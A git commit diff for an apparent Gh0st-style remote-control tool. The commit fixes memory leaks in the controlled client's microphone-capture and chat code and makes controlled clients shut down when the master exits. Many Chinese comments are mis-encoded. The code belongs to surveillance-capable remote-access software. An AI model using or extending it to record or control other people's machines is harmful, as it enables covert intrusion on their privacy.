主控端退出时被控端也退出

1、修复主控端CTalkDlg的内存泄漏问题，被控端即时消息对话框置于顶层。 2、SAFE_DELETE(ContextObject->olps)有崩溃概率。改为主控端退出时先令被控端退出，就没有内存泄漏。 3、开关音频时偶有内存泄漏，waveInCallBack线程不能正常退出。
2019-01-15 21:48:37 +08:00
parent c6e9a06a1a
commit c54d75505e
24 changed files with 127 additions and 47 deletions
--- a/ReadMe.txt
+++ b/ReadMe.txt
@@ -79,3 +79,11 @@
 2、修正CFileManagerDlg的构造函数调用SHGetFileInfo和FromHandle方法，解决多次打开崩溃。

 3、更新服务端zlib版本为V1.2.11。（与客户端不同，因inflate_fast 崩溃，没有采用汇编）
+
+2019.1.15
+
+1、修复主控端CTalkDlg的内存泄漏问题，被控端即时消息对话框置于顶层。
+
+2、SAFE_DELETE(ContextObject->olps)有崩溃概率。改为主控端退出时先令被控端退出，就没有内存泄漏。
+
+3、开关音频时偶有内存泄漏，waveInCallBack线程不能正常退出。
--- a/client/Audio.cpp
+++ b/client/Audio.cpp
@@ -14,6 +14,7 @@ CAudio::CAudio()
 {
 	m_bExit = FALSE;
 	m_hThreadCallBack = false;
+	m_Thread = NULL;
 	m_bIsWaveInUsed = FALSE;
 	m_bIsWaveOutUsed = FALSE;
 	m_nWaveInIndex = 0;
@@ -47,26 +48,7 @@ CAudio::CAudio()
 CAudio::~CAudio()
 {
 	m_bExit = TRUE;
-	if (m_bIsWaveInUsed)
-	{
-		waveInStop(m_hWaveIn);
-		waveInReset(m_hWaveIn);
-		for (int i = 0; i < 2; i++)
-			waveInUnprepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR));

-		waveInClose(m_hWaveIn);
-		WAIT (m_hThreadCallBack, 30);
-		if (m_hThreadCallBack)
-			printf("û<EFBFBD>гɹ<EFBFBD><EFBFBD>ر<EFBFBD>waveInCallBack.\n");
-	}
-
-	for (int i = 0; i < 2; i++)
-	{
-		delete [] m_InAudioData[i];
-		m_InAudioData[i] = NULL;
-		delete [] m_InAudioHeader[i];
-		m_InAudioHeader[i] = NULL;
-	}
 	if (m_hEventWaveIn)
 	{
 		SetEvent(m_hEventWaveIn);
@@ -80,6 +62,29 @@ CAudio::~CAudio()
 		m_hStartRecord = NULL;
 	}

+	if (m_bIsWaveInUsed)
+	{
+		waveInStop(m_hWaveIn);
+		waveInReset(m_hWaveIn);
+		for (int i = 0; i < 2; i++)
+			waveInUnprepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR));
+
+		waveInClose(m_hWaveIn);
+		WAIT (m_hThreadCallBack, 30);
+		if (m_hThreadCallBack)
+			printf("û<EFBFBD>гɹ<EFBFBD><EFBFBD>ر<EFBFBD>waveInCallBack.\n");
+		TerminateThread(m_Thread, -999);
+		m_Thread = NULL;
+	}
+
+	for (int i = 0; i < 2; i++)
+	{
+		delete [] m_InAudioData[i];
+		m_InAudioData[i] = NULL;
+		delete [] m_InAudioHeader[i];
+		m_InAudioHeader[i] = NULL;
+	}
+
 	if (m_bIsWaveOutUsed)
 	{
 		waveOutReset(m_hWaveOut);
@@ -102,8 +107,7 @@ BOOL CAudio::InitializeWaveIn()
 	MMRESULT	mmResult;  
 	DWORD		dwThreadID = 0;

-	HANDLE h = NULL;
-	m_hThreadCallBack = h = CreateThread(NULL, 0, 
+	m_hThreadCallBack = m_Thread = CreateThread(NULL, 0, 
 		(LPTHREAD_START_ROUTINE)waveInCallBack, (LPVOID)this, 
 		CREATE_SUSPENDED, &dwThreadID);

@@ -114,7 +118,6 @@ BOOL CAudio::InitializeWaveIn()
 	//m_hWaveIn ¼<><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
 	if (mmResult != MMSYSERR_NOERROR)
 	{
-		CloseHandle(h);
 		return FALSE;
 	}

@@ -130,8 +133,7 @@ BOOL CAudio::InitializeWaveIn()

 	waveInAddBuffer(m_hWaveIn, m_InAudioHeader[m_nWaveInIndex], sizeof(WAVEHDR));

-	ResumeThread(h);
-	CloseHandle(h);
+	ResumeThread(m_Thread);
 	waveInStart(m_hWaveIn);   //¼<><C2BC>

 	m_bIsWaveInUsed = TRUE;
@@ -170,11 +172,12 @@ DWORD WINAPI CAudio::waveInCallBack(LPVOID lParam)
 		{
 			SetEvent(This->m_hEventWaveIn);
 			WaitForSingleObject(This->m_hStartRecord, INFINITE);
+			if (This->m_bExit)
+				break;

 			Sleep(1);
 			This->m_nWaveInIndex = 1 - This->m_nWaveInIndex;

-
 			//<2F><><EFBFBD>»<EFBFBD><C2BB><EFBFBD> 
 			MMRESULT mmResult = waveInAddBuffer(This->m_hWaveIn, 
 				This->m_InAudioHeader[This->m_nWaveInIndex], sizeof(WAVEHDR));
@@ -194,7 +197,7 @@ DWORD WINAPI CAudio::waveInCallBack(LPVOID lParam)
 	std::cout<<"waveInCallBack end\n";
 	This->m_hThreadCallBack = false;

-	return 0;	
+	return 0;
 }

 BOOL CAudio::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize)
--- a/client/Audio.h
+++ b/client/Audio.h
@@ -26,6 +26,7 @@ public:
 	HWAVEIN   m_hWaveIn;         //<2F>豸<EFBFBD><E8B1B8><EFBFBD><EFBFBD>	
 	DWORD     m_nWaveInIndex;
 	bool    m_hThreadCallBack;
+	HANDLE m_Thread;// waveInCallBack<63>߳<EFBFBD>
 	static DWORD WINAPI waveInCallBack(LPVOID lParam);   //<2F><><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD>ض<EFBFBD>
 	LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize);
 	BOOL CAudio::InitializeWaveIn();
--- a/client/AudioManager.cpp
+++ b/client/AudioManager.cpp
@@ -17,6 +17,8 @@ using namespace std;

 CAudioManager::CAudioManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
 {
+	printf("new CAudioManager %x\n", this);
+
 	m_bIsWorking = FALSE;
 	m_AudioObject = NULL;

@@ -100,6 +102,7 @@ CAudioManager::~CAudioManager()
 		delete m_AudioObject;
 		m_AudioObject = NULL;
 	}
+	printf("~CAudioManager %x\n", this);
 }

 //USB  
--- a/client/ClientDll.cpp
+++ b/client/ClientDll.cpp
@@ -115,7 +115,7 @@ DWORD WINAPI StartClient(LPVOID lParam)

 	while (!g_bExit)
 	{
-		DWORD dwTickCount = GetTickCount();  
+		DWORD dwTickCount = GetTickCount();
 		if (!ClientObject->ConnectServer(g_szServerIP, g_uPort))
 		{
 			for (int k = 500; !g_bExit && --k; Sleep(10));
--- a/client/ClientDll.vcxproj
+++ b/client/ClientDll.vcxproj
@@ -136,6 +136,9 @@
  <ItemGroup>
    <Media Include="Res\msg.wav" />
  </ItemGroup>
+  <ItemGroup>
+    <Image Include="Res\ghost.ico" />
+  </ItemGroup>
  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
  <ImportGroup Label="ExtensionTargets">
  </ImportGroup>
--- a/client/ClientDll.vcxproj.filters
+++ b/client/ClientDll.vcxproj.filters
@@ -174,4 +174,9 @@
      <Filter>资源文件</Filter>
    </Media>
  </ItemGroup>
+  <ItemGroup>
+    <Image Include="Res\ghost.ico">
+      <Filter>资源文件</Filter>
+    </Image>
+  </ItemGroup>
 </Project>
--- a/client/IOCPClient.cpp
+++ b/client/IOCPClient.cpp
@@ -8,13 +8,15 @@
 #include "zconf.h"
 #include "zlib.h"
 #include <assert.h>
+#include "Manager.h"
+
 using namespace std;

 //////////////////////////////////////////////////////////////////////
 // Construction/Destruction
 //////////////////////////////////////////////////////////////////////

-VOID IOCPClient::setManagerCallBack(class CManager* Manager)
+VOID IOCPClient::setManagerCallBack(CManager* Manager)
 {
 	m_Manager = Manager;
 }
@@ -22,6 +24,7 @@ VOID IOCPClient::setManagerCallBack(class CManager* Manager)

 IOCPClient::IOCPClient(bool exit_while_disconnect)
 {
+	m_Manager = NULL;
 	WSADATA wsaData;
 	WSAStartup(MAKEWORD(2, 2), &wsaData);

@@ -154,6 +157,14 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
 			}else{
 				//<2F><>ȷ<EFBFBD><C8B7><EFBFBD>վ͵<D5BE><CDB5><EFBFBD>OnRead<61><64><EFBFBD><EFBFBD>,ת<><D7AA>OnRead
 				This->OnServerReceiving(szBuffer, iReceivedLength);
+				if (This->m_Manager->m_bIsDead)
+				{
+					printf("****** Recv bye bye ******\n");
+					// <20>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
+					extern bool g_bExit;
+					g_bExit = true;
+					break;
+				}
 			}
 		}
 	}
--- a/client/IOCPClient.h
+++ b/client/IOCPClient.h
@@ -51,14 +51,14 @@ public:

 	char    m_szPacketFlag[FLAG_LENGTH];

-	VOID setManagerCallBack(class CManager* Manager);
+	VOID setManagerCallBack(CManager* Manager);

 	VOID Disconnect();
 	VOID RunEventLoop(const BOOL &bCondition);
 	bool IsConnected() const { return m_bConnected == TRUE; }

 public:	
-	class CManager* m_Manager; 
+	CManager* m_Manager; 
 	CRITICAL_SECTION m_cs;
 	bool m_exit_while_disconnect;
 };
--- a/client/KernelManager.cpp
+++ b/client/KernelManager.cpp
@@ -16,7 +16,7 @@ CKernelManager::CKernelManager(IOCPClient* ClientObject):CManager(ClientObject)

 CKernelManager::~CKernelManager()
 {
-	printf("~CKernelManager \n");
+	printf("~CKernelManager begin\n");
 	int i = 0;
 	for (i=0;i<0x1000;i++)
 	{
@@ -30,6 +30,7 @@ CKernelManager::~CKernelManager()
 		}
 	}
 	m_ulThreadCount = 0;
+	printf("~CKernelManager end\n");
 }

 VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
@@ -75,6 +76,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
 		{
 			BYTE	bToken = COMMAND_BYE;      //<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h     
 			m_ClientObject->OnServerSending((char*)&bToken, 1);
+			m_bIsDead = true; //say goodbye
 			OutputDebugStringA("======> Bye bye \n");
 			m_hThread[m_ulThreadCount].p = NULL;
 			delete pNew;
--- a/client/Manager.cpp
+++ b/client/Manager.cpp
@@ -4,6 +4,7 @@

 #include "stdafx.h"
 #include "Manager.h"
+#include "IOCPClient.h"

 //////////////////////////////////////////////////////////////////////
 // Construction/Destruction
@@ -11,8 +12,9 @@

 CManager::CManager(IOCPClient* ClientObject)
 {
+	m_bIsDead = false;
 	m_ClientObject = ClientObject;
-	m_ClientObject->setManagerCallBack(this);  
+	m_ClientObject->setManagerCallBack(this);

 	m_hEventDlgOpen = CreateEvent(NULL,TRUE,FALSE,NULL);
 }
--- a/client/Manager.h
+++ b/client/Manager.h
@@ -9,14 +9,12 @@
 #pragma once
 #endif // _MSC_VER > 1000

-#include "IOCPClient.h"
-
-
 class IOCPClient;

 class CManager  
 {
 public:
+	bool m_bIsDead; // bye-bye
 	CManager(IOCPClient* ClientObject);
 	virtual ~CManager();

--- a/client/Res/ghost.ico
+++ b/client/Res/ghost.ico
--- a/client/Script.rc
+++ b/client/Script.rc
@@ -25,11 +25,11 @@ LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED
 //

 IDD_DIALOG DIALOGEX 0, 0, 180, 108
-STYLE DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
+STYLE DS_SYSMODAL | DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
 CAPTION "<22><>Ϣ<EFBFBD><CFA2>ʾ"
 FONT 10, "System", 0, 0, 0x0
 BEGIN
-    EDITTEXT        IDC_EDIT_MESSAGE,0,0,180,82,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | NOT WS_BORDER
+    EDITTEXT        IDC_EDIT_MESSAGE,0,0,180,82,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | NOT WS_BORDER | WS_VSCROLL
 END


@@ -120,6 +120,15 @@ BEGIN
    END
 END

+
+/////////////////////////////////////////////////////////////////////////////
+//
+// Icon
+//
+
+// Icon with lowest ID value placed first to ensure application icon
+// remains consistent on all systems.
+IDI_ICON_MAIN           ICON                    "Res\\ghost.ico"
 #endif    // <20><><EFBFBD><EFBFBD>(<28><><EFBFBD>壬<EFBFBD>й<EFBFBD>) resources
 /////////////////////////////////////////////////////////////////////////////

--- a/client/TalkManager.cpp
+++ b/client/TalkManager.cpp
@@ -16,7 +16,7 @@ using namespace std;
 #define ID_TIMER_CLOSE_WINDOW	3 

 #define WIN_WIDTH		250   
-#define WIN_HEIGHT		250
+#define WIN_HEIGHT		200
 //////////////////////////////////////////////////////////////////////
 // Construction/Destruction
 //////////////////////////////////////////////////////////////////////
@@ -87,6 +87,9 @@ VOID CTalkManager::OnInitDialog(HWND hDlg)
 {
 	MoveWindow(hDlg, 0, 0, 0, 0, TRUE);

+	static HICON hIcon = LoadIcon(NULL, MAKEINTRESOURCE(IDI_ICON_MAIN));
+	::SendMessage(hDlg, WM_SETICON, (WPARAM)hIcon, (LPARAM)hIcon);
+
 	SetDlgItemText(hDlg,IDC_EDIT_MESSAGE,g_Buffer);

 	memset(g_Buffer,0,sizeof(g_Buffer));
--- a/client/ghost.vcxproj
+++ b/client/ghost.vcxproj
@@ -141,6 +141,9 @@
  <ItemGroup>
    <Media Include="Res\msg.wav" />
  </ItemGroup>
+  <ItemGroup>
+    <Image Include="Res\ghost.ico" />
+  </ItemGroup>
  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
  <ImportGroup Label="ExtensionTargets">
  </ImportGroup>
--- a/client/ghost.vcxproj.filters
+++ b/client/ghost.vcxproj.filters
@@ -174,4 +174,9 @@
      <Filter>资源文件</Filter>
    </Media>
  </ItemGroup>
+  <ItemGroup>
+    <Image Include="Res\ghost.ico">
+      <Filter>资源文件</Filter>
+    </Image>
+  </ItemGroup>
 </Project>
--- a/client/ghost.vcxproj.user
+++ b/client/ghost.vcxproj.user
@@ -6,6 +6,6 @@
  </PropertyGroup>
  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
    <DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
-    <LocalDebuggerCommandArguments>192.168.104.248 2356</LocalDebuggerCommandArguments>
+    <LocalDebuggerCommandArguments>192.168.104.250 2356</LocalDebuggerCommandArguments>
  </PropertyGroup>
 </Project>
--- a/client/resource.h
+++ b/client/resource.h
@@ -1,16 +1,18 @@
 //{{NO_DEPENDENCIES}}
-// Microsoft Developer Studio generated include file.
-// Used by Script.rc
+// Microsoft Visual C++ <20><><EFBFBD>ɵİ<C9B5><C4B0><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
+// <EFBFBD><EFBFBD> Script.rc ʹ<><CAB9>
 //
 #define IDD_DIALOG                      101
 #define IDR_WAVE                        102
+#define IDI_ICON1                       104
+#define IDI_ICON_MAIN                   104
 #define IDC_EDIT_MESSAGE                1000

 // Next default values for new objects
 // 
 #ifdef APSTUDIO_INVOKED
 #ifndef APSTUDIO_READONLY_SYMBOLS
-#define _APS_NEXT_RESOURCE_VALUE        103
+#define _APS_NEXT_RESOURCE_VALUE        105
 #define _APS_NEXT_COMMAND_VALUE         40001
 #define _APS_NEXT_CONTROL_VALUE         1001
 #define _APS_NEXT_SYMED_VALUE           101
--- a/server/2015Remote.sln
+++ b/server/2015Remote.sln
@@ -1,7 +1,10 @@

 Microsoft Visual Studio Solution File, Format Version 12.00
 # Visual Studio 2012
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "2015Remote", "2015Remote\2015Remote.vcxproj", "{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}"
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Yama", "2015Remote\2015Remote.vcxproj", "{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}"
+	ProjectSection(ProjectDependencies) = postProject
+		{3F756E52-23C2-4EE4-A184-37CF788D50A7} = {3F756E52-23C2-4EE4-A184-37CF788D50A7}
+	EndProjectSection
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ServerDll", "..\client\ClientDll.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}"
 EndProject
--- a/server/2015Remote/2015RemoteDlg.cpp
+++ b/server/2015Remote/2015RemoteDlg.cpp
@@ -575,6 +575,15 @@ void CMy2015RemoteDlg::OnClose()
 	Shell_NotifyIcon(NIM_DELETE, &m_Nid);
 #endif

+	BYTE bToken = COMMAND_BYE;
+	int n = m_CList_Online.GetItemCount();
+	for(int Pos = 0; Pos < n; ++Pos) 
+	{
+		CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(Pos);
+		m_iocpServer->OnClientPreSending(ContextObject, &bToken, sizeof(BYTE));
+	}
+	Sleep(200);
+
 	EnterCriticalSection(&m_cs);
 	for (std::vector<CFileManagerDlg *>::iterator iter = v_FileDlg.begin(); 
 		iter != v_FileDlg.end(); ++iter)
@@ -598,7 +607,7 @@ void CMy2015RemoteDlg::OnClose()

 	//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Sleep<65><70><EFBFBD><EFBFBD><EFBFBD>ܱ<EFBFBD><DCB1>ⲻ<EFBFBD><E2B2BB><EFBFBD>˳<EFBFBD>ʱ<EFBFBD>ı<EFBFBD><C4B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IOCP<43><50>Ҫ<EFBFBD><D2AA><EFBFBD>ظ<EFBFBD>Щ<EFBFBD><D0A9><EFBFBD><EFBFBD>
 	ShowWindow(SW_HIDE);
-	Sleep(500);
+	Sleep(300);

 	if (m_iocpServer!=NULL)
 	{
@@ -739,9 +748,9 @@ void CMy2015RemoteDlg::OnOnlineBuildClient()
 VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE  szBuffer, ULONG ulLength)
 {
 	POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();   //1[pcontext client]  2  3   //1    2
-	while(Pos) 
+	while(Pos)
 	{
-		int	iItem = m_CList_Online.GetNextSelectedItem(Pos);      
+		int	iItem = m_CList_Online.GetNextSelectedItem(Pos);
 		CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem); //<2F><><EFBFBD>б<EFBFBD><D0B1><EFBFBD>Ŀ<EFBFBD><C4BF>ȡ<EFBFBD><C8A1>ClientContext<78>ṹ<EFBFBD><E1B9B9>

 		// <20><><EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD>ݰ<EFBFBD>                                                 //<2F>鿴ClientContext<78>ṹ<EFBFBD><E1B9B9>
@@ -1061,6 +1070,12 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
 	{
 		switch(p->v1)
 		{
+		case TALK_DLG:
+			{
+				CTalkDlg *Dlg = (CTalkDlg*)p->hDlg;
+				delete Dlg;
+				break;
+			}
 		case VIDEO_DLG:
 			{
 				CVideoDlg *Dlg = (CVideoDlg*)p->hDlg;
--- a/server/2015Remote/IOCPServer.cpp
+++ b/server/2015Remote/IOCPServer.cpp
@@ -98,7 +98,8 @@ IOCPServer::~IOCPServer(void)
 	while (!m_ContextFreePoolList.IsEmpty())
 	{
 		CONTEXT_OBJECT *ContextObject = m_ContextFreePoolList.RemoveHead();
-		SAFE_DELETE(ContextObject->olps);
+		// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʣ<EFBFBD>2019.1.14
+		//SAFE_DELETE(ContextObject->olps);
 		delete ContextObject;
 	}

--- a/server/2015Remote/TalkDlg.cpp
+++ b/server/2015Remote/TalkDlg.cpp
@@ -41,6 +41,8 @@ BOOL CTalkDlg::OnInitDialog()
 {
 	CDialog::OnInitDialog();

+	m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDR_MAINFRAME));
+	SetIcon(m_hIcon, FALSE);
 	BYTE bToken = COMMAND_NEXT;  
 	m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));

--- a/server/2015Remote/TalkDlg.h
+++ b/server/2015Remote/TalkDlg.h
@@ -16,6 +16,7 @@ public:
 	enum { IDD = IDD_DIALOG_TALK };
 	CONTEXT_OBJECT* m_ContextObject;
 	IOCPServer*     m_iocpServer;
+	HICON m_hIcon;
 protected:
 	virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV ֧<><D6A7>